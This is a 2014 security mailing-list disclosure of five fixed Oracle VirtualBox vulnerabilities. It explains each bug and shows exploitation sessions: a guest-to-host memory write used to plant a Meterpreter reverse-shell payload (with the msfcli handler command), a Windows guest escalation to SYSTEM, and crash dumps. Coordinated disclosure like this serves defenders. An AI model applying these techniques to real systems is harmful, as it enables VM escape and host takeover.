Information on recently-fixed Oracle VM VirtualBox vulnerabilities

From: Matthew Daley <mattd () bugfuzz com>
Date: Fri, 07 Feb 2014 15:27:39 +1300

```
Hi there,

Recently I found a few vulnerabilities in Oracle VM VirtualBox, the
open-source virtualization product. These have already been reported to the
project, fixed and disclosed in the form of the recent January 2014 Oracle
Critical Patch Update (at
<http://www.oracle.com/technetwork/topics/security/cpujan2014-1972949.html>).

The purpose of this mail is simply to provide a few more specifics about each
vulnerability to allow distributors, packagers and other users of the software
to better classify them (and, of course, for the sake of freely sharing
information!)

(Most of the rest of this message is a hacked-up version of the initial
private disclosure to Oracle; please excuse any messed-up tenses or similar.
Also, I've tried to clarify any VBox-specific terminology but it still might
be lacking in places.)


These vulnerabilities were tested on both 32-bit and 64-bit versions of
VirtualBox, namely:
32-bit: 4.2.16_Debianr86992 ((what was) the current Debian jessie
        VirtualBox package)
64-bit: 4.2.51_OSEr47061 (compiled from SVN)
The SVN trunk at the time was also inspected to ensure fixes hadn't been made
since these versions.

The exploitability of some of the vulnerabilities depends on the architectural
width of the host; where this is the case it is explicitly mentioned. When an
exploitation attempt is performed on a host not of the correct width the
attempt usually leads to DOS instead.

The first two vulnerabilities are in the VMMDev device's HGCM interface, the
third is in the Windows Guest Additions' Shared Folder driver and the final
two are in the handling of other VMMDev request types.


* Vuln. #1: VMMDev HGCM argument size overflow (CVE-2013-5892)

The first step in processing a HGCM (Host-Guest Communication Manager) call
VMMDev request is to calculate the total size of the call's arguments. This is
so the correct amount of space can be allocated for the arguments whose types
(linear in/out addresses and page lists) need buffer space for transferring
between guest and host memory. This calculation is performed using the
"cbCmdSize" variable.

The problem lies in the fact that this calculation can easily overflow and
hence the check afterward to see whether the amount of space required is too
large or not will mistakenly pass. This leads to a
smaller-than-actually-required amount of memory being allocated for the
host-side VBOXHGCMCMD structure. This structure holds host-side HGCM call
information including information on each argument (type, pointer to host
buffer space, size) and the buffers themselves. This is obviously an
exploitable heap overflow, but we can do better.

The aforementioned host-side buffer pointers which are then assigned to the
arguments which need them can, via careful argument size choice, be lead to
point to arbitrary host memory instead of within the third part of the
VBOXHGCMCMD structure where they are supposed to point.

Notably, one can craft the individual argument sizes so that the buffer
pointer placement routine wraps around the address space and sets the buffers
to point to the head of the VBOXHGCMCMD structure, allowing one to cleanly
write to the other parts of the structure, including the other argument types
and host-side buffer pointers.

Using this, one can write to one of these host-side buffer pointers so that
the resulting HGCM call output for that argument is sent elsewhere in the
address space - a write-(almost-)what-where vulnerability of arbitrary length
which is not affected by the heap/ASLR moving the HGCM structure around in
memory (since the method of exploitation uses distances relative to the head
of the HGCM structure itself).

This can be exploited to allow host ring 3 code execution from guest ring 0
(assuming a guest IOPL of 0). A POC exploit in the form of a Linux kernel
module which takes "addr" and "val" arguments to specify where and what to
write into host ring 3 memory was created (and sent in the full report):
mattd@debian:~$ /sbin/modinfo vmmdev_vuln_oflow.ko
filename:       /home/mattd/vmmdev_vuln_oflow.ko
license:        Dual BSD/GPL
depends:
vermagic:       3.2.0-4-486 mod_unload modversions 486
parm:           addr:Host-ring3 address to write to (ulong)
```

```
parm:           val:Value to write (UTF-8 hex) (string)

Here is an example exploitation session:

- Start a VM
$ VBoxManage startvm foo4 --type headless
Waiting for VM "foo4" to power on...
VM "foo4" has been successfully started.

- Demonstrate that there is nothing written at this arbitrarily-chosen location in the host-side VBox process memory
$ sudo dd if=/proc/`pidof VBoxHeadless`/mem bs=1 skip=$((0x804eff0)) count=16 2> /dev/null | hd
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010

- Run the exploit in the guest VM, specifying what to write and where
$ ssh -p2222 root@foo4 'insmod vmmdev_vuln_oflow.ko addr=0x804eff0 val=`echo -n "Hi from guest!" | hexdump -e "/1
"\""%x"\""`'

- Demonstrate that the string was successfully written to the aforementioned host-side location
$ sudo dd if=/proc/`pidof VBoxHeadless`/mem bs=1 skip=$((0x804eff0)) count=16 2> /dev/null | hd
00000000  48 69 20 66 72 6f 6d 20  67 75 65 73 74 21 00 00  |Hi from guest!..|
00000010

- Run the exploit in the guest VM again, this time to generate a SIGSEGV in the process
$ ssh -p2222 root@foo4 'rmmod vmmdev_vuln_oflow.ko; insmod ~mattd/vmmdev_vuln_oflow.ko addr=0xdeadbeef val=4142434445'
Connection to foo4 closed by remote host.

- Demonstrate that the host-side VBox process did indeed die
$ dmesg | tail -n1
[24916.950477] GuestPropSvc[12681]: segfault at deadbeef ip b758b55f sp b49091bc error 7 in
libc-2.17.so[b750c000+1a9000]

- Check out the generated core dump
$ gdb /usr/lib/virtualbox/VBoxHeadless core
GNU gdb (GDB) 7.6 (Debian 7.6-5)
Copyright (C) 2013 Free Software Foundation, Inc.
(...)
Core was generated by `/usr/lib/virtualbox/VBoxHeadless --comment foo4 --startvm d8eac50d-f6d7-4b04-bf'.
Program terminated with signal 11, Segmentation fault.
#0  __memcpy_ia32 () at ../sysdeps/i386/i686/multiarch/../memcpy.S:98
98      ../sysdeps/i386/i686/multiarch/../memcpy.S: No such file or directory.
(gdb) bt
#0  __memcpy_ia32 () at ../sysdeps/i386/i686/multiarch/../memcpy.S:98
#1  0xb5f0c1c4 in guestProp::Service::getProperty (this=this@entry=0xb5101048, cParms=cParms@entry=4,
paParms=paParms@entry=0xaa2635dc)
    at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/HostServices/GuestProperties/service.cpp:609
#2  0xb5f0e7ce in guestProp::Service::call (this=0xb5101048, callHandle=0xaa263a60, u32ClientID=7, eFunction=1,
cParms=4, paParms=0xaa2635dc)
    at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/HostServices/GuestProperties/service.cpp:1260
#3  0xb6154e8e in hgcmServiceThread (ThreadHandle=2147483665, pvUser=0x8cb89c0)
    at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Main/src-client/HGCM.cpp:603
#4  0xb6153783 in hgcmWorkerThreadFunc (ThreadSelf=0x8cb8bc0, pvUser=0x8cb8a38)
    at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Main/src-client/HGCMThread.cpp:194
#5  0xb743a1fe in rtThreadMain (pThread=0x8cb8bc0, NativeThread=3029375808, pszThreadName=0x8cb914c "GuestPropSvc")
    at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Runtime/common/misc/thread.cpp:712
#6  0xb748a429 in rtThreadNativeMain (pvArgs=0x8cb8bc0) at
/build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Runtime/r3/posix/thread-posix.cpp:321
#7  0xb76c7cf1 in start_thread (arg=0xb4909b40) at pthread_create.c:311
#8  0xb75fafee in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:131
(gdb) x/2i $pc
=> 0xb758b55f <__memcpy_ia32+95>:       movsw  %ds:(%esi),%es:(%edi)
   0xb758b561 <__memcpy_ia32+97>:       rep movsl %ds:(%esi),%es:(%edi)
(gdb) i r esi edi eax
esi            0xb5102a74       -1257231756
edi            0xdeadbeef       -559038737
eax            0x6      6
(gdb) x/6c $esi
0xb5102a74:     65 'A'  66 'B'  67 'C'  68 'D'  69 'E'  0 '\000'
(gdb) fr 1
#1  0xb5f0c1c4 in guestProp::Service::getProperty (this=this@entry=0xb5101048, cParms=cParms@entry=4,
paParms=paParms@entry=0xaa2635dc)
    at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/HostServices/GuestProperties/service.cpp:609
609                     memcpy(pchBuf, pProp->mValue.c_str(), cbValue);
(gdb) p pchBuf
$1 = 0xdeadbeef <Address 0xdeadbeef out of bounds>
(gdb) p pProp->mValue
$2 = {static npos = <optimized out>, _M_dataplus = {<std::allocator<char>> = {<__gnu_cxx::new_allocator<char>> = {<No
data fields>}, <No data fields>},
    _M_p = 0xb5102a74 "ABCDE"}}

One can use a separate utility script that provides a series of (addr, val)
pairs to insert the module with repeatedly so as to write (almost) any
arbitrary binary data. It does this by suggesting to write a series of
individually UTF-8 valid strings at monotonically increasing addresses. This
was tested with a Meterpreter payload to get a shell on the host:

(on the VM:)

- Show the Meterpreter almost-pure-ASCII payload
foo4$ hd reverse-tcp-payload | head
00000000  54 59 da c4 d9 71 f4 5f  57 59 49 49 49 49 49 49  |TY...q._WYIIIIII|
00000010  49 49 49 49 43 43 43 43  43 43 37 51 5a 6a 41 58  |IIIICCCCCC7QZjAX|
00000020  50 30 41 30 41 6b 41 41  51 32 41 42 32 42 42 30  |P0A0AkAAQ2AB2BB0|
00000030  42 42 41 42 58 50 38 41  42 75 4a 49 50 31 49 4b  |BBABXP8ABuJIP1IK|
00000040  6c 37 6a 43 52 73 52 63  70 53 53 5a 47 72 6e 50  |l7jCRsRcpSSZGrnP|
00000050  50 66 4d 59 78 61 48 4d  6b 30 6c 57 31 4b 51 78  |PfMYxaHMk0lW1KQx|
00000060  49 50 6e 48 46 61 46 30  52 48 66 62 73 30 77 61  |IPnHFaF0RHfbs0wa|
00000070  51 4c 4d 59 78 61 31 7a  73 56 63 68 56 30 63 61  |QLMYxa1zsVchV0ca|
00000080  36 37 4e 69 4b 51 63 73  48 4d 4d 50 4f 42 56 67  |67NiKQcsHMMPOBVg|
00000090  6f 49 55 50 74 50 77 70  53 30 6d 59 7a 43 6f 31  |oIUPtPwpS0mYzCo1|

- Show the output of the aforementioned string -> (addr, val) script on the payload
foo4$ ./bin2args.py $((0x8050830)) < reverse-tcp-payload | head -n5
addr=0x8050830 val=5459
```

```
addr=0x8050832 val=dabf
addr=0x8050833 val=c4bf
addr=0x8050834 val=d9bf
addr=0x8050835 val=71

- Use the script to write the payload into host-side VBox process memory
foo4$ ./bin2args.py $((0x8050830)) < reverse-tcp-payload | sudo xargs -n2 -I{} sh -c 'rmmod vmmdev_vuln_oflow; insmod
vmmdev_vuln_oflow.ko {}'
Error: Module vmmdev_vuln_oflow is not currently loaded

- Write the payload's address to a function pointer in the process
foo4$ sudo rmmod vmmdev_vuln_oflow; sudo insmod vmmdev_vuln_oflow.ko addr=0x0804e6f0 val=30080508

- Trigger the payload
foo4$ sudo halt

Broadcast message from root@debian (pts/0) (Tue Oct 22 01:20:40 2013):

The system is going down for system halt NOW!

(on the attacker's end:)

- Start a Meterpreter session and wait for connection
$ msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.80 E
[*] Please wait while we load the module tree...
(...)
       =[ metasploit v4.7.0-1 [core:4.7 api:1.0]
+ -- --=[ 1141 exploits - 720 auxiliary - 194 post
+ -- --=[ 309 payloads - 30 encoders - 8 nops

PAYLOAD => linux/x86/meterpreter/reverse_tcp
LHOST => 192.168.1.80
[*] Started reverse handler on 192.168.1.80:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.80:4444 -> 192.168.1.80:49648) at 2013-10-22 01:20:53 +1300

meterpreter > shell
Process 16070 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
$ ps f --sid `ps -o sid $$ | tail -n+2`
  PID TTY      STAT   TIME COMMAND
15959 ?        Sl     1:37 /usr/lib/virtualbox/VBoxHeadless --comment foo4 --sta
16070 ?        S      0:00  \_ /bin/sh
16082 ?        R      0:00      \_ ps f --sid 15935

Specifically, the POC uses the Shared Properties service to get
attacker-controlled data to be written out as an HGCM result. It also uses
this service specifically because it can handle the necessary four arguments
for the exploit to function (name + skip + overflow + skip). Null page lists
are used to skip address space, allowing one to write the attacker-chosen
memory location to the second HGCM output argument (property value output)
host buffer pointer.

On 32-bit hosts, this works fine. On 64-bit ones, because the HGCM size is
calculated using a 32-bit variable ("cbCmdSize"), one cannot wrap the 64-bit
address space entirely, however one can still overflow up to 4GB after the
VBOXHGCMCMD structure for a traditional heap-based attack.


* Vuln. #2: VMMDev HGCM argument type confusion (CVE-2014-0407)

Processing a HGCM call is a three step-process: reading the arguments from the
guest, invoking the HGCM connector to make the call, and writing the result
back out to the guest. Between these steps, when using the default HGCM
connector, the guest may run for a limited amount of time (the result code
returned at step 2 is VINF_HGCM_ASYNC_EXECUTE). This issue lies in the fact
that the argument types are re-read from guest-controlled memory at step 3,
when the result is being written out. By racing to change the type of an
argument between steps 1 and 3, incorrect processing can occur. This includes
things such as treating what was initially a guest-provided integer argument
as the location of an argument buffer to read a result from, if the new type
would normally have one.

This can be exploited to read cleanly from anywhere in host ring 3 address
space - an ASLR-proof information leak of arbitrary length, complementing the
first vulnerability.

This leads to a host ring 3 information leak to guest ring 0.

A POC exploit in the form of a Linux kernel module which takes an "addr"
argument to specify where to read from host ring 3 memory, outputting the
result to the kernel ring buffer (ie. viewable with `dmesg`) was created (and
sent in the full report):
mattd@debian:~$ /sbin/modinfo vmmdev_vuln_typeconf.ko
filename:       /home/mattd/vmmdev_vuln_typeconf.ko
license:        Dual BSD/GPL
depends:
vermagic:       3.2.0-4-486 mod_unload modversions 486
parm:           addr:Host-ring3 address to read from (ulong)

Here is an example exploitation session:

- Observe the address space of the host-side VBox process to find where the ELF itself was loaded
$ sudo head /proc/`pidof VBoxHeadless`/maps
08048000-0804e000 r-xp 00000000 68:01 4083239    /usr/lib/virtualbox/VBoxHeadless
0804e000-0804f000 rw-p 00005000 68:01 4083239    /usr/lib/virtualbox/VBoxHeadless
0804f000-08051000 rw-p 00000000 00:00 0
08255000-082df000 rw-p 00000000 00:00 0          [heap]
a8d00000-a8f00000 rw-s 00000000 00:04 989        /dev/zero (deleted)
a8f00000-a9100000 rw-s 00000000 00:04 988        /dev/zero (deleted)
a9100000-a9300000 rw-s 00000000 00:04 7084       /dev/zero (deleted)
```

```
a9300000-a9500000 rw-s 00000000 00:04 981        /dev/zero (deleted)
a9500000-a9700000 rw-s 00000000 00:04 980        /dev/zero (deleted)
a9700000-a9900000 rw-s 00000000 00:04 7081       /dev/zero (deleted)

- Check out the contents at the aforementioned load address
$ sudo dd if=/proc/`pidof VBoxHeadless`/mem bs=1 skip=$((0x08048000)) count=256 2> /dev/null | hd
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  b4 8c 04 08 34 00 00 00  |............4...|
00000020  c8 59 00 00 00 00 00 00  34 00 20 00 08 00 28 00  |.Y......4. ...(.|
00000030  1c 00 1b 00 06 00 00 00  34 00 00 00 34 80 04 08  |........4...4...|
00000040  34 80 04 08 00 01 00 00  00 01 00 00 05 00 00 00  |4...............|
00000050  04 00 00 00 03 00 00 00  34 01 00 00 34 81 04 08  |........4...4...|
00000060  34 81 04 08 13 00 00 00  13 00 00 00 04 00 00 00  |4...............|
00000070  01 00 00 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|
00000080  00 80 04 08 ec 56 00 00  ec 56 00 00 05 00 00 00  |.....V...V......|
00000090  00 10 00 00 01 00 00 00  ec 56 00 00 ec e6 04 08  |.........V......|
000000a0  ec e6 04 08 cc 01 00 00  6c 24 00 00 06 00 00 00  |........l$......|
000000b0  00 10 00 00 02 00 00 00  f8 56 00 00 f8 e6 04 08  |.........V......|
000000c0  f8 e6 04 08 f8 00 00 00  f8 00 00 00 06 00 00 00  |................|
000000d0  04 00 00 00 04 00 00 00  48 01 00 00 48 81 04 08  |........H...H...|
000000e0  48 81 04 08 44 00 00 00  44 00 00 00 04 00 00 00  |H...D...D.......|
000000f0  04 00 00 00 50 e5 74 64  8c 4d 00 00 8c cd 04 08  |....P.td.M......|
00000100

- Run the exploit on the guest VM, specifying the host-side address to read from
$ ssh -p2222 root@foo4 insmod vmmdev_vuln_typeconf.ko addr=$((0x08048000))

- Observe the output in the guest VM's dmesg and see that it is as expected
$ ssh -p2222 foo4 'dmesg | grep -A15 "vmmdev_vuln_typeconf: 00000000"'
[  477.168335] vmmdev_vuln_typeconf: 00000000: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00  .ELF............
[  477.168393] vmmdev_vuln_typeconf: 00000010: 02 00 03 00 01 00 00 00 b4 8c 04 08 34 00 00 00  ............4...
[  477.168443] vmmdev_vuln_typeconf: 00000020: c8 59 00 00 00 00 00 00 34 00 20 00 08 00 28 00  .Y......4. ...(.
[  477.168470] vmmdev_vuln_typeconf: 00000030: 1c 00 1b 00 06 00 00 00 34 00 00 00 34 80 04 08  ........4...4...
[  477.168497] vmmdev_vuln_typeconf: 00000040: 34 80 04 08 00 01 00 00 00 01 00 00 05 00 00 00  4...............
[  477.168525] vmmdev_vuln_typeconf: 00000050: 04 00 00 00 03 00 00 00 34 01 00 00 34 81 04 08  ........4...4...
[  477.168552] vmmdev_vuln_typeconf: 00000060: 34 81 04 08 13 00 00 00 13 00 00 00 04 00 00 00  4...............
[  477.168579] vmmdev_vuln_typeconf: 00000070: 01 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08  ................
[  477.168606] vmmdev_vuln_typeconf: 00000080: 00 80 04 08 ec 56 00 00 ec 56 00 00 05 00 00 00  .....V...V......
[  477.168633] vmmdev_vuln_typeconf: 00000090: 00 10 00 00 01 00 00 00 ec 56 00 00 ec e6 04 08  .........V......
[  477.168675] vmmdev_vuln_typeconf: 000000a0: ec e6 04 08 cc 01 00 00 6c 24 00 00 06 00 00 00  ........l$......
[  477.168702] vmmdev_vuln_typeconf: 000000b0: 00 10 00 00 02 00 00 00 f8 56 00 00 f8 e6 04 08  .........V......
[  477.168729] vmmdev_vuln_typeconf: 000000c0: f8 e6 04 08 f8 00 00 00 f8 00 00 00 06 00 00 00  ................
[  477.168756] vmmdev_vuln_typeconf: 000000d0: 04 00 00 00 04 00 00 00 48 01 00 00 48 81 04 08  ........H...H...
[  477.168784] vmmdev_vuln_typeconf: 000000e0: 48 81 04 08 44 00 00 00 44 00 00 00 04 00 00 00  H...D...D.......
[  477.168811] vmmdev_vuln_typeconf: 000000f0: 04 00 00 00 50 e5 74 64 8c 4d 00 00 8c cd 04 08  ....P.td.M......

This works fine on a 32-bit host. On 64-bit hosts, one cannot use the
'int-as-address' technique because of differing resizing + alignment issues in
VBOXHGCMSVCPARM's union used to hold the argument information host-side (at
least on GCC); other methods might be possible instead.


* Vuln. #3: Windows Shared Folder Redirector IOCTL_MRX_VBOX_DELCONN
            missing validation (CVE-2014-0405)

When handling an IOCTL_MRX_VBOX_DELCONN request, the Windows Shared Folder
Redirector attempts to retrieve the associated RDBSS file object extension
(FOBX) from the user-provided file's FsContext2 field. It does not check,
however, that one actually exists (is non-null), and hence the driver can be
led to execute upon a user-provided FOBX by placing a crafted one in the null
memory page. This execution involves calling a FOBX-provided callback, which
can point to a user-provided routine.

This IOCTL is defined as FILE_ANY_ACCESS and so can be called by any Windows
user, regardless of access rights.

This leads to a guest ring 3 to guest ring 0 privilege escalation (and nicely
complements the guest ring 0 to host ring 3 vulnerability,
#1 / CVE-2013-5892!)

A POC exploit in the form of a Windows application that executes a given
command line (or cmd.exe as a default) as the SYSTEM user regardless of what
user it is run as initially was created (and sent in the full report):

Here is a sample exploitation session (in the guest VM):

- Check the current user's username and assigned groups
E:\>whoami /user /groups
[User]     = "LOLTECH-GPG0BTT\limited"

[Group  1] = "LOLTECH-GPG0BTT\None"
[Group  2] = "Everyone"
[Group  3] = "BUILTIN\Users"
[Group  4] = "LOCAL"
[Group  5] = "NT AUTHORITY\INTERACTIVE"
[Group  6] = "NT AUTHORITY\Authenticated Users"

- Demonstrate the access level by showing that we cannot create a file in a restricted directory
E:\>echo > c:\windows\test.txt
Access is denied.

- Run the exploit
E:\>vboxrdr_vuln_devcontrol.exe

(... a new command prompt opens ...)

- Check the new current user's username and assigned groups
C:\WINDOWS>whoami /user /groups
[User]     = "NT AUTHORITY\SYSTEM"

[Group  1] = "BUILTIN\Administrators"
[Group  2] = "Everyone"
[Group  3] = "NT AUTHORITY\Authenticated Users"
```

```
- Demonstrate the new access level by showing that we can now create the aforementioned file
C:\WINDOWS>echo > c:\windows\test.txt

C:\WINDOWS>
```

On 32-bit guests this works fine, and on 64-bit ones it should also work, with the necessary changes to the crafted FOBX structure.

The last two vulnerabilities are a bit more boring.

* Vuln. #4: VMMDev SetPointerShape missing validation (CVE-2014-0406)

The VMMDevReq_SetPointerShape request handler does not validate the given width and height against the actual amount of request data given (ie. pointerData), and hence can be made to read off the end of the request.

This leads to a guest-triggerable DOS of the host-side VBox process.

A POC exploit in the form of a Linux kernel module was created (and sent in the full report).

Here is a sample session:

```
- Run the exploit in the guest VM
$ ssh -p2222 root@foo4 insmod vmmdev_vuln_shape.ko
Connection to foo4 closed by remote host.

- Check out the generated core dump
$ gdb /usr/lib/virtualbox/VBoxHeadless core
GNU gdb (GDB) 7.6 (Debian 7.6-5)
Copyright (C) 2013 Free Software Foundation, Inc.
(...)
Core was generated by `/usr/lib/virtualbox/VBoxHeadless --startvm foo4'.
Program terminated with signal 11, Segmentation fault.
#0  __memcpy_ia32 () at ../sysdeps/i386/i686/multiarch/../memcpy.S:74
74      ../sysdeps/i386/i686/multiarch/../memcpy.S: No such file or directory.
(gdb) bt
#0  __memcpy_ia32 () at ../sysdeps/i386/i686/multiarch/../memcpy.S:74
#1  0xa8910008 in ?? ()
#2  0xb329969b in vmmdevRequestHandler (pDevIns=pDevIns@entry=0xb46d8dc0, pvUser=pvUser@entry=0xb46d8e80,
Port=Port@entry=53280, u32=u32@entry=102366948,
    cb=cb@entry=4) at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Devices/VMMDev/VMMDev.cpp:1178
[..omitted..]
(gdb) fr 2
#2  0xb329969b in vmmdevRequestHandler (pDevIns=pDevIns@entry=0xb46d8dc0, pvUser=pvUser@entry=0xb46d8e80,
Port=Port@entry=53280, u32=u32@entry=102366948,
    cb=cb@entry=4) at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Devices/VMMDev/VMMDev.cpp:1178
1178                                                    pointerShape->pointerData);
(gdb) l
1173                        pThis->pDrv->pfnUpdatePointerShape(pThis->pDrv,
1174                                                           fVisible,
1175                                                           fAlpha,
1176                                                           pointerShape->xHot, pointerShape->yHot,
1177                                                           pointerShape->width, pointerShape->height,
1178                                                           pointerShape->pointerData);
1179                    }
1180                    else
1181                    {
1182                        pThis->pDrv->pfnUpdatePointerShape(pThis->pDrv,
```

This works fine regardless of host architecture width (32/64-bit).

* Vuln. #5: Bad assert in vmmdevHGCMSaveLinPtr (CVE-2014-0404)

The AssertRelease at the end of vmmdevHGCMSaveLinPtr checks whether the amount of pages successfully saved is equal to the entire amount given. This assert can be guest-triggered by simply invoking a HGCM call with an invalid linear pointer argument.

This leads to a guest-triggerable DOS of the host-side VBox process.

A POC exploit in the form of a Linux kernel module was created (and sent in the full report).

Here is a sample session:

```
- Run the exploit in the guest VM
$ ssh -p2222 root@foo4 insmod vmmdev_vuln_linaddrout.ko
Connection to foo4 closed by remote host.

- Check the end of the log output from the now-dead host-side VBox process
$ tail VirtualBox\ VMs/foo4/Logs/VBox.log
00:01:04.537820 NAT: DNS#0: 192.168.1.8
00:01:04.537877 NAT: DHCP offered IP address 10.0.2.15
00:01:04.539477 PATM: Disabling IDT 3a patch handler c1288334
00:01:16.994365 PATM: Disabling IDT 39 patch handler c1288330
00:01:48.235937 NAT: old socket rcv size: 128KB
00:01:48.235994 NAT: old socket snd size: 128KB
00:01:48.541291
00:01:48.541294 !!Assertion Failed!!
00:01:48.541295 Expression: iPage == cPages
00:01:48.541297 Location  : /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Devices/VMMDev/VMMDevHGCM.cpp(297)
int vmmdevHGCMSaveLinPtr(PPDMDEVINS, uint32_t, RTGCPTR, uint32_t, uint32_t, VBOXHGCMLINPTR*, RTGCPHYS**)
```

This works fine regardless of host architecture width (32/64-bit).

For more procedural details such as the versions of VirtualBox that are affected and those that are not, how to get updates and other information, please see Oracle's CPU advisory itself (linked at the start of this mail.)

Cheers!

- Matthew Daley

By Date By Thread

Current thread:

- **Information on recently-fixed Oracle VM VirtualBox vulnerabilities** *Matthew Daley (Feb 07)*